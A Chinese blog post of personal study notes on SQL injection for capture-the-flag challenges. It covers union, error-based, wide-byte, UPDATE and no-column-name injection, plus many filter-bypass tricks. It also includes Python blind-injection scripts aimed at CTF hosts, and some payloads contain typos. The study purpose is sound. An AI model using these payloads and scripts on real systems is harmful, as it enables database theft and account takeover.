SQL注入随笔
本文最后更新于1 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

联合查询注入

最近发现SQL注入·不是很熟练,记一下笔记,我在开头的判断上非常混乱,比如判断数字型和字符型,还有判断单引号闭合还是双引号闭合或者是判断字段长度,很多时候经常搞不清楚啊,嗯,问题很大。

数字型还是字符型判断

这就得要知道源代码的语句

 假设源代码的语句是数字型的话,会长这样

$sql="SELECT * FROM users WHERE id=$id

如果是字符型的话,应该长这样

$sql="SELECT * FROM users WHERE id=‘$id’

我们先看数字型,数字型的话,如果你使用?id=1,语句就会变成

$sql="SELECT * FROM users WHERE id=1

这肯定是会报对的

如果你是用?id=1’ ,那源代码就会变成

$sql="SELECT * FROM users WHERE id=1‘

就肯定会报错

如果是字符型的话,你输入?id=1,源代码就会是

$sql="SELECT * FROM users WHERE id=‘1‘

这个时候也是正确的,你输入?id=1′ 的话,就会变成

$sql="SELECT * FROM users WHERE id=‘1‘’

这个时候就会报错

如果是字符型的话就要注意因为末尾会出现两个单引号,我们需要用–+ 或者是 # 去把它注释掉

于是我们发现,不管是输入数字1 还是字符 1‘ 会出现都正确的情况,这个时候就需要,逻辑判断

逻辑判断的话,就是再?id=1后面加上and 1=1或者是 and 1=2

假设源代码是数字型的话,源代码就会变成

$sql="SELECT * FROM users WHERE id=1 and 1=1

这个时候不会报错,可是当我们换一个判断的时候

$sql="SELECT * FROM users WHERE id=1 and 1=2

因为1=2是不成立的,所以如果他报错了,那就说明这个注入点是数字型的,没有报错就是字符型的

如果不报错,那就说明他是字符型的,因为当源代码是字符型的时候

$sql="SELECT * FROM users WHERE id=’1 and 1=2‘

我们写的一整串都变成了字符,没有进行运算,因此不会报错

判断数据库版本

使用-1′ union select 1,2,version()–+即可获得数据库版本,为什么需要版本呢?因为版本是否大于5.0决定能否利用information_schema数据库。

爆字段长度

?id=1 order by 1,2,3 //数字型
?id=1’ order by 1,2,3 --+ //字符型
//还有一种方法是
?id=-1 union select 1,2,3
?id=-1' union select 1,2,3 --+

爆数据库名

?id=-1 union select 1,2,database()
?id=1 union select 1,group_concat(schema_name) from information_schema.schemata --+ //这个方法我也是刚见到,觉得倍儿奇怪
//这里回来解释一下,我之前之所以有疑问,是因为做的题目的flag都在当前数据库下,但是当flag不在当前这个数据库的时候,我们就需要查询别的数据库,所以会有这个语句

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+

爆列名

 -1' select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' --+

获取数据

 -1' select 1,2,group_concat(列名) from 表名.库名 --+
还有一种是: ' union select (select group_concat(flag) from test.flag)'

目前碰到的一些小过滤

= 被过滤时,可以使用 like 来代替,空格过滤可以使用 + 或者是 /**/ 来绕过,当字符串有长度限制时,可以使用 mid() 函数或者是left() , right() , substr()函数都可以。然后还有一个就是,有时候题目的 # 他不会转化成url编码,不编码他就读不出来,踩过的大坑,所以我感觉,以后还是全部都打%23算了

刷题的时候碰到一个很奇怪的事情,就是不知道是什么被过滤了,反正就是-1′ select 1,2,group_concat(列名) from 表名.库名 –+ 这个命令他用不了,没事,可以换一个姿势

-1’ select 1,database(),表名 from 字段名#

Xpath报错注入

当无论是数字型还是字符型都无法回显的时候,就需要用到报错注入或者是布尔盲注,先讲报错注入。

首先是核心函数updatexml()

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

爆数据库名

1' and updatexml(1,concat(0x7e,(database()),0x7e),3)--+    //0x7e='~',也不一定非要用这个,也可以是#等等的字符

话说为什么是这样的我其实也还没想好,按我的理解的话中间的参数是Xpath格式的字符串,而如果出现了非字符串格式就会报错(比如0x7e),然后updatexml()这个函数会将报错区域的的内容回显,这就是报错注入的原理

爆表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)--+

这个报错注入最多只能回显32位,于是我们可以使用substr(xxxx,1,30)函数来进行控制回显,也可以使用left(),right()这一类的函数,当然substr(xxx,-number)同样可以做到从右往左取。

注意:括号内的命令有一个select一定不要漏掉,然后还有concat()中间的Xpath语句一定要记得加括号

爆列名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),3)--+

爆字段

1‘ and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1)–+

以上就是关于报错注入的upatexml()函数的用法

SQL注入的一些过滤绕过

空格绕过:/**/ %20 %09 %0a %0b %0c %0d %a0

括号绕过空格

字符串绕过:大小写绕过(比如order被禁用的时候可以使用Order),双写绕过

内敛注释绕过:id=-1’/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

编码绕过:如URLEncode编码,ASCII,HEX,unicode编码绕过:

or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

等价函数绕过:hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()==>substring() @@user==>user() @@datadir==>datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:

substr((select’password’),1,1)=0x70strcmp(left(‘password’,1),0x69)=1strcmp(left(‘password’,1),0x70)=0strcmp(left(‘password’,1),0x71)=-1

or,and绕过:or=|| and=&&

引号过滤绕过:如table_name=”表名”的时候,必须要用到引号,如果这个时候引号被禁用,可以尝试使用16进制绕过,将表名16进制转换,记得加上0x。

逗号绕过:在进行报错注入和布尔盲注的时候,会用到substr(,)函数来截取字符串,期间一定会用到逗号,这个时候,如果逗号被过滤的话,就可以使用 from for来进行绕过,比如,select substr(database(0from1for1);当我们碰到要使用limit 0,1的情况的时候,就会用到offset来进行逗号绕过

比较符号>号和<号绕过:布尔盲注的时候,通常会使用到比较符号,如果这个时候比较符号被禁用,就要用到greatest()绕过,select* from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

注释符号绕过:注释符号用的很经常,但是也最有可能被办,这个时候就要用到

id=1’union select 1,2,3||’1

最后的or ‘1闭合查询语句的最后的单引号,或者:

id=1’union select 1,2,’3

=号绕过:like或者是>或者是<

换行符绕过:%0a 、%0d

宽字节注入

当MySQL数据库使用GBK(宽字节)编码的时候,会把两个字节当做一个汉字,前提是前一个ascii码要>128,例如%df

当MySQL数据库使用gbk编码的时候,你输入?id=1’会被转义成?id=1\’,这个时候,我们就需要把\给注释掉或者是给无效化,我们就要再添加一个字节,把\转义成汉字

\的url编码是%5c,这个时候,我们输入?id=1%df’ 就会被转义成?id=1%df%5c’,也就是

这个时候反斜杠就被我们成功无效化掉了

还有一种方法是,将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

Sqlite时间盲注

Sqlite注入其实和mysql注入差不多,但是时间盲注的差异较大,因此单独拿出来

在Sqlite注入中,没有sleep,也没有if

sleep用randomblob代替

if用case代替

1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*

这个是用来摸奖的payload,前提是我们判断出来了这是sqlite盲注才可以使用,主要用于判断是否是sqlite时间盲注

然后就是直接上脚本

这里使用的是vnctf2025的奶龙回家脚本

import requests
import time

url = 'http://node.vnteam.cn:44112/login'  # 目标 URL
flag = ''  # 存储爆破得到的密码

# 假设最大密码长度为 500,逐个字符进行猜测
for i in range(1, 500):
    low = 32
    high = 128
    mid = (low + high) // 2

    while low < high:
        time.sleep(0.2)

        # 构造 SQL 注入 payload,用于爆破 password 字段
        payload = (
            "1'/**/or/**/("
            "case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)"
            "else/**/0/**/end)/*"
        ).format(i, chr(mid))  # 将当前索引 i 和字符 chr(mid) 填入 payload

        # 构造 POST 请求数据
        datas = {
            "username": "123",  # 假设用户名固定
            "password": payload  # 使用构造的 SQL 注入 payload
        }

        start_time = time.time()  # 开始请求计时
        res = requests.post(url=url, json=datas)  # 发送 POST 请求
        end_time = time.time()  # 请求结束计时

        spend_time = end_time - start_time  # 计算请求时间

        # 如果请求时间超过 0.19 秒,表示猜测的字符较大
        if spend_time >= 0.19:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2  # 更新二分查找的 mid

    if mid == 32 or mid == 127:
        break  # 如果遇到 ASCII 边界,停止

    flag += chr(mid)  # 将猜测到的字符添加到密码中

    print(flag)  # 打印当前已爆破的密码部分

# 最后将得到的密码从十六进制转换成字符串并打印出来
print('\n' + bytes.fromhex(flag).decode('utf-8'))

Sqlite3布尔盲注

import requests
import string

str = string.ascii_letters + string.digits

url = "http://node4.anna.nssctf.cn:28909/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Z_JOvQ.nqP1_EeJLQ_BURB7vTM_HqlNYhQ'}

if __name__ == "__main__":
    name = ''
    for i in range(0,100):
        char = ''
        for j in str:
            #表+字段
            payload = "1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,j)
            #数据
            # payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)
            data = {"id": payload}
            r = s.post(url=url, data=data, headers=headers)
            #print(r.text)
            if "exist" in r.text:
                name += j
                print (j, end='')
                char = j
                break
        if char == '%':
            break

好的我反悔了,我觉得sqlite注入还是挺难的,拿出来讲讲,大体相似,就是它没有information_tables这张表。

# 数据库基础语法
sqlite3 sqltest.db           #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases             #判断数据库是否存在
sqlite> .open sqltest.db       #打开数据库
sqlite> .tables                #列出数据库中所有的表
sqlite> .schema test           #得到该表所使用的命令

#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
   ...> id INT PRIMARY KEY     NOT NULL,
   ...> name char(50) NOT NULL
   ...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;

#导入导出
sqlite3 testDB.db .dump > testDB.sql   #导出
sqlite3 testDB.db < testDB.sql         #导入
0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';

查数据库查表查字段一键三连

0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
或者使用limit来输出一行结果
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --

Update注入

本次学习的update注入我查了一下,这道题感觉不像是很传统的update注入,后续再补充上比较传统的。

在做到[HUBUCTF 2022 新生赛]ezsql的时候要遇到了update注入,如何判断出来的呢

因为源码中有很明显的特征,然后就是开始注入,测试注入点

通过这个来判断的话,注入点可能会在age,毕竟age被限制了,然后开始尝试注入,这里头没有waf

nickname=123&age=11,description=(select%20database())#&description=12345&token=ec9e1e14164d971828a15a0f6996d67c

然后可以得到数据库名为demo2,说明这个方法是可行的,于是就用传统的方法一直往下注入就行。

查询到这里的时候本来想直接读取description来获取flag,但是被限制住了,不过没有关系,我们可以读取到密码,然后发现密码是md5,然后就涉及到关于update注入的特点,update再mysql中用于更新数据库中的数据,也就是说,我们一更新,可以更新所有username的password,最后登陆即可

nickname=asdf&age=111,password=0x3437626365356337346635383966343836376462643537653963613966383038#&description=aaa&token=31ad6e5a2534a91ed634aca0b27c14a9

需要注意的是,再update中不知道怎么回事,password需要用16进制进行转化,然后查询表明的时候也是,表明需要进行16进制转化,不然会查询不到,库库报错

这个update注入感觉有点那啥,不是很正规的感觉不知道为什么,然后我就特地去学习了一下,接下来是比较常用的一些update注入payload

查库名:

1' and UpdateXML(1,concat('~',database()),1))#    //UpdateXML()函数
1' and ExtractValue(1,concat('~',database())))#   //ExtractValue()函数
1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2)) as x from information_schema.tables group by x)a)#)  //floor报错

查表名:

1' and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1)#  //UpdateXML()函数
1' and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)))#   //ExtractValue()函数
1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#  //floor报错

查字段:

1' and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1)#   //UpdateXML()函数
1' and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)))#   //ExtractValue()函数
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#  //floor报错

查数据:

//UpdateXML()函数:
查username:1' and UpdateXML(1,concat('~',(select username from users limit 0,1)),1)#
查password:1' and UpdateXML(1,concat(0,(select substr(password,1) from users where username='admin')),1)#
//ExtractValue()函数:
查username:1' and ExtractValue(1,concat('~',(select username from users limit 0,1)))#
查password:1' and ExtractValue(1,concat(0,(select substr(password,1) from users where username='admin')))#
//floor()报错:
1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#

无列名注入

前置知识

过滤掉所有注释符的时候,可以使用‘1来代替,有时候还是真的会忽略掉这个最简单的注释

然后就是在平时正常的sql注入中,我们正常使用的都是默认库information.schema,但是如果有的题目把infromation过滤掉了呢,那不是炸了吗,所以今天这道题目讲的就是如何在这种过滤下进行sql注入

首先是我jay神的两种方法(大爱jay神)

InnoDb引擎

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

以上的两种数据库都可以帮助我们获取到表名,但是没有办法获得列名,因此接下来我们要做的就是进行无列名注入。

首先先来看看以上两种东西的用法

1'//union//select//1,2,group_concat(database_name)//from//mysql.innodb_table_stats//where/**/'1     //查询库名
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1   //查询表名

可以看到还是非常好理解的,就是不知道为什么,where后面突然没东西了好难受,然后第二种的那个玩意儿我没试出来,很奇怪,这里猜测应该是版本的问题,要不就是我的语法用错了

这里再介绍另外一种,是在YLCTF里头学到的,但是在这道题目里头用不通。就是使用这个库sys.schema_table_statistics_with_buffer

无列名注入

ok,那么接下来就是我们最重点的无列名注入的payload

这是我们一张完整的user

然后我们需要查看单列,这个时候就要用到我们的命令

select `2` from (select 1,2,3 union select * from user)xxx;

那么如果我们的 ` 被过滤了要怎么办呢,没关系,我们还可以使用别名绕过,再次大爱我jay神

select 1 as a,2 as b,3 as c union select * from user;
select b from (select 1 as a,2 as b,3 as c,4 as d union select * from user)xxx;

join盲注列名

select * from (select * from user as b join user as c)xxx;  //join注入查第一个列名

select * from (select * from user as b join user as c using(id))xxx; //join注入查第二个列名,以此类推

ok,那么到这里无列名注入就学完了,无敌了,直接开始爆题

1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

还有一种方法是

1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/'1

这个flag列在哪个表下面需要自己一个一个尝试

然后还有一种方法是位或运算,附上脚本,没有研究。

import requests

url='http://node5.anna.nssctf.cn:28762/index.php'
flag = ''
count = 1
while True:
    for i in range(32, 127):
        data = {
            # "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"
            # "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"
            # "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"

            # "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"

            "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx),{count},1))={i},1,2)||'"
        }
        resp = requests.post(url=url, data=data)
        #print(resp.text)
        if 'Here is your want!' in resp.text:
            flag += chr(i)
            print(flag)
            break
        elif i == 126:
            exit()
        #time.sleep(0.1)
    count += 1

还看到有人用了一种方法用%00当作注释符,一起记录一下,具体命令如下

1';%00

但是我本身并没有成功,看到jay神使用burp打的,但是我靶机到期了,就这样吧,偷懒偷懒

sql注入之编码报错绕过

在做到一道sql诸如的时候遇到了以下回显

这个是和union连接的两个字符之间的字符规则不一样导致的,于是我们就需要把所有的字符规则统一成information的,而information的字符规则为utf8_general_ci

完整的payload如下

payload=1'%20union%20select%201,1,3,4,group_concat(table_name)%20collate%20utf8_general_ci%20from%20information_schema.tables%20where%20table_schema=database()%23

可以看到相关用法就这么用就行了

然后就是遇到了比较恶心的一点是flag被作者藏起来了,那这个时候就可以用到大佬的思路了,通常flag这个字段都是在这一列中最长的,于是我们直接搜索最长的字段,有一定概率爆出来,就当作是一种额外的思路吧

payload=1"%20union%20select%201,1,3,4,MAX(grade)%20collate%20utf8_general_ci%20from%20students#
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇